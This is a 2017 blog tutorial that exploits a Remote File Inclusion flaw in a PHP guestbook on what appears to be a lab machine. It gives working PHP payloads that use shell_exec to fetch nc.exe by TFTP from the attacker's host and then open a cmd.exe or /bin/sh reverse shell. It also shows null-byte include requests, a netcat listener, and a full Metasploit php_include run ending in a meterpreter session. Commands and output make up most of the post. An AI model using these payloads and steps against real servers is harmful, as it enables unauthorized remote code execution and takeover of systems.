Sunday, June 11, 2017


From RFI to Shell


Remote File Inclusion (RFI) is a web application vulnerability attackers exploit to run malicious code. Depending on the web server configuration, an attacker may tell the web app to include code from a file hosted on a remote server. In this post, I’ll describe how to exploit RFI to get a reverse shell on the target using two methods. The first will only use tools already on the victim, while the second will use the more feature-rich metasploit method.

The Vulnerability

This application has already been found to have a vulnerability in one of the parameters sent by addguestbook.php. This post won’t cover detecting the RFI vulnerability.
The request I will be tampering with to exploit this RFI vulnerability looks like this:
/addguestbook.php?name=hacker&comment=pwned&LANG=en&Submit=Submit

Using Default Tools

Before I know what I have to work with, I must find out what OS my target is running. The first method I’ll use to do this will be to run nmap and specify host fingerprint detection:
$ nmap -O 192.168.1.144
Starting Nmap 6.40 ( http://nmap.org ) at 2014-01-10 10:41 EST
Nmap scan report for 192.168.1.144
Host is up (0.037s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
3306/tcp open  mysql
3389/tcp open  ms-wbt-server
MAC Address: 00:50:56:AF:1D:C4 (VMware)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
Not a definitive answer, so I must trust, but verify. I’ll turn to the wappalyzer plugin for firefox. Wappalyzer has been accurate, in my experience. In either case, I’ll have to verify when I move on to the exploit phase of this exercise what the host is running.
Running Wappalyzer in my browser when I navigate to the target’s page, I see that it’s running Windows, indicated by the icon in my toolbar:
Wappalyzer
Without knowing what tools the target will have, I’ve at least narrowed it down to a handful, including ftp, tftp, telnet, and debug.exe.
I can think of a convoluted method using FTP, but that would take a while and may end up being imprecise. The same with telnet. Besides, telnet has been deprecated for quite some time, so I try to avoid it wherever possible. Debug.exe may provide a solution that would be even more convoluted than the FTP method, so I’ll stick with TFTP for this exercise.
My goal is to transfer nc.exe to the victim’s host and use it to open a reverse shell to my attacking host.

Setting up TFTP

The first step in this process is to set up the TFTP daemon and share nc. Since I don’t already have a shell on the target, I won’t know whether my commands will be successful, so I want to be as sure as I can that I won’t run into any “gotchas” – like improper file permissions. This means I need to be sure that the location I share using TFTPD is readable by anybody, and that the nc.exe file I share out will be readable and executable by anybody.
On my attacking host, I complete these steps via:
$ chmod +rx /usr/share/windows-binaries/nc.exe
$ cp /usr/share/windows-binaries/nc.exe /tmp/nc.exe
$ atftpd --daemon --port 69 /tmp/
I’m now sharing my /tmp directory, which contains my readable/executable nc.exe and is itself world-readable.

Exploit the Vulnerability

Now that I’ve got my payload ready, it’s time to exploit the RFI vulnerability on the victim. My Wappalyzer extension informed me that the host is running php, so my exploit will be written in php. I will do this by creating the files I want the victim to remotely include in my /var/www folder. Note I said files as this exploit will be carried out in two steps:
  1. Upload nc.exe to the victim, and
  2. Instruct the victim to execute nc.exe and connect back to my listener.
The first step will be carried out by the following php code:
#!php
< ?php
echo shell_exec("tftp -i 192.168.14.120 GET nc.exe");
?>
I’ll store this in a file called evil.txt in /var/www. This is saved as a text file because I don’t want myweb server to interpret it as a php file; I want to be sure it’s served as text content.
The second step of this exploit will involve invoking nc.exe on the host, and having it call back to my listener, establishing a reverse shell. Here’s what evil2.txt looks like:
#!php
< ?php
echo shell_exec("nc.exe -nvv 192.168.14.120 4444 -e cmd.exe")
?>
On a Linux host, it would look similar to:
#!php
< ?php
echo shell_exec("nc -nvv 192.168.14.120 4444 -e /bin/sh")
?>
Satisfied with these, I begin my webserver:
$ service apache2 start
[....] Starting web server: apache2
..

Enable My Listener

This crucial step involves invoking nc on my attacking box to listen for the reverse shell I will request:
$ nc -lvp 4444
listening on [any] 4444 ...

Exploit!

With everything in place, I make the first of my two requests to the web server:
/addguestbook.php?name=hacker&comment=pwned&LANG=http://192.168.14.120/evil.txt%00&Submit=Submit
Notice the . This is a null byte in URL-encoded format. This will instruct the web app to cease parsing or executing commands once it’s included the text (php code) in evil.txt. After waiting a few moments, I see the web app return the following information:
Transfer successful: 59392 bytes in 5 seconds, 11878 bytes/s
Excellent! This means that nc.exe has been uploaded to the victim. Now, to invoke my reverse shell, I make the following request:
/addguestbook.php?name=hacker&comment=pwned&LANG=http://192.168.14.120/evil2.txt%00&Submit=Submit
Again, using the URL-encoded null byte to ensure that application execution stops after evil2.txt has been parsed. If all went according to plan, I should see some activity from my listener:
listening on [any] 4444 ...
192.168.1.144: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.14.120] from (UNKNOWN) [192.168.1.144] 1144
Success!

Using Metasploit

Metasploit is awesome, and if there’s a chance to use it, I’ll take it. Here’s how the vulnerable application can be exploited using the Metasploit framework:

Search for a Module

I’m not sure what the best module to use for this exploit would be, so I do a search for “php_include”:
msf> search php_include

Matching Modules
================

Name                             Disclosure Date          Rank    Description
----                             ---------------          ----    -----------
exploit/unix/webapp/php_include  2006-12-17 00:00:00 UTC  normal  PHP Remote File Include Generic Code Execution
This looks like it will fit the bill. I’ll load it up and see what my options are:
msf> use exploit/unix/webapp/php_include
msf exploit(php_include) > show options

Module options (exploit/unix/webapp/php_include):

Name      Current Setting                                                    Required  Description
----      ---------------                                                    --------  -----------
HEADERS                                                                      no        Any additional HTTP headers to send, cookies for example. Format:  "header:value,header2:value2"
PATH      /                                                                  yes       The base directory to prepend to the URL to try
PHPRFIDB  /opt/metasploit/apps/pro/msf3/data/exploits/php/rfi-locations.dat  no        A local file containing a list of URLs to try, with XXpathXX replacing the URL
PHPURI                                                                       no        The URI to request, with the include parameter changed to XXpathXX
POSTDATA                                                                     no        The POST data to send, with the include parameter changed to XXpathXX
Proxies                                                                      no        Use a proxy chain
RHOST                                                                        yes       The target address
RPORT     80                                                                 yes       The target port
SRVHOST   0.0.0.0                                                            yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT   8080                                                               yes       The local port to listen on.
SSLCert                                                                      no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                                                                      no        The URI to use for this exploit (default is random)
VHOST                                                                        no        HTTP server virtual host

Exploit target:

Id  Name
--  ----
0   Automatic
Good deal, this looks pretty straightforward. I will need to specify the PATH, PHPURI, RHOST, RPORT, SRVHOST, and SRVPORT for this to be effective. The RHOST and RPORT bits are easy, they’re the remote host and default HTTP port. SRVHOST will by my attacking IP, and SRVPORT must be a port not already bound on my IP.
The PATH for this exploit will be /, as there is no path to the web application, it is hosted at the web root. PHPURI is the URI to request, with the vulnerable parameter changed to XXpathXX, so this will be
addguestbook.php?name=hacker&comment=pwned&LANG=XXpathXX

Exploit with MSF

I’ll set these values and then run the exploit to obtain a php meterpreter shell:
msf exploit(php_include) > set PATH /
PATH => /
msf exploit(php_include) > set PHPURI /addguestbook.php?name=hacker&comment=pwned&LANG=XXpathXX
PHPURI => /addguestbook.php?name=hacker&comment=pwned&LANG=XXpathXX
msf exploit(php_include) > set RHOST 192.168.1.144
RHOST => 192.168.1.144
As always, I need to set the PAYLOAD and the PAYLOAD options. Fortunately, MSF has a php meterpreter payload:
msf exploit(php_include) > set PAYLOAD php/meterpreter[tab]

set PAYLOAD php/meterpreter/bind_tcp       set PAYLOAD php/meterpreter/reverse_tcp   
set PAYLOAD php/meterpreter/bind_tcp_ipv6  set PAYLOAD php/meterpreter_reverse_tcp   
msf exploit(php_include) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(php_include) > show options


Module options (exploit/unix/webapp/php_include):

Name      Current Setting                                                    Required  Description
----      ---------------                                                    --------  -----------
HEADERS                                                                      no        Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"
PATH      /                                                                  yes       The base directory to prepend to the URL to try 
PHPRFIDB  /opt/metasploit/apps/pro/msf3/data/exploits/php/rfi-locations.dat  no        A local file containing a list of URLs to try, with XXpathXX replacing the URL 
PHPURI    /addguestbook.php?name=hacker&comment=pwned&LANG=XXpathXX          no        The URI to request, with the include parameter changed to XXpathXX      
POSTDATA                                                                     no        The POST data to send, with the include parameter changed to XXpathXX 
Proxies                                                                      no        Use a proxy chain 
RHOST     192.168.1.144                                                      yes       The target address 
RPORT     80                                                                 yes       The target port 
SRVHOST   0.0.0.0                                                            yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0 
SRVPORT   8080                                                               yes       The local port to listen on. 
SSLCert                                                                      no        Path to a custom SSL certificate (default is randomly generated)     
URIPATH                                                                      no        The URI to use for this exploit (default is random) 
VHOST                                                                        no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- ----------- 
LHOST                     yes The listen address 
LPORT           4444      yes The listen port

Exploit target: 

Id Name
* * *
0 Automatic


msf exploit(php_include) > set LHOST 192.168.14.120
LHOST => 192.168.14.120 
msf exploit(php_include) > set LPORT 7777
LPORT => 7777 
msf exploit(php_include) > exploit -j -z 
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.14.120:7777 
msf exploit(php_include) > 
[*] Using URL: http://0.0.0.0:8080/NKLGe9SyP 
[*] Local IP: http://192.168.14.120:8080/NKLGe9SyP 
[*] PHP include server started. 
[*] Sending stage (39848 bytes) to 192.168.1.144 
[*] Meterpreter session 1 opened (192.168.14.120:7777 -> 192.168.1.144:1110) at 2014-01-09 20:27:58 -0500

msf exploit(php_include) > sessions

# Active sessions

Id Type Information Connection 
-- ---- ----------- ---------- 
 1 meterpreter php/php offsec (0) @ XPCLIENT 192.168.14.120:7777 -> 192.168.1.144:1110 (192.168.1.144)

msf exploit(php_include) > sessions -i 1 
[*] Starting interaction with 1...

meterpreter >
Et Voila!

No comments: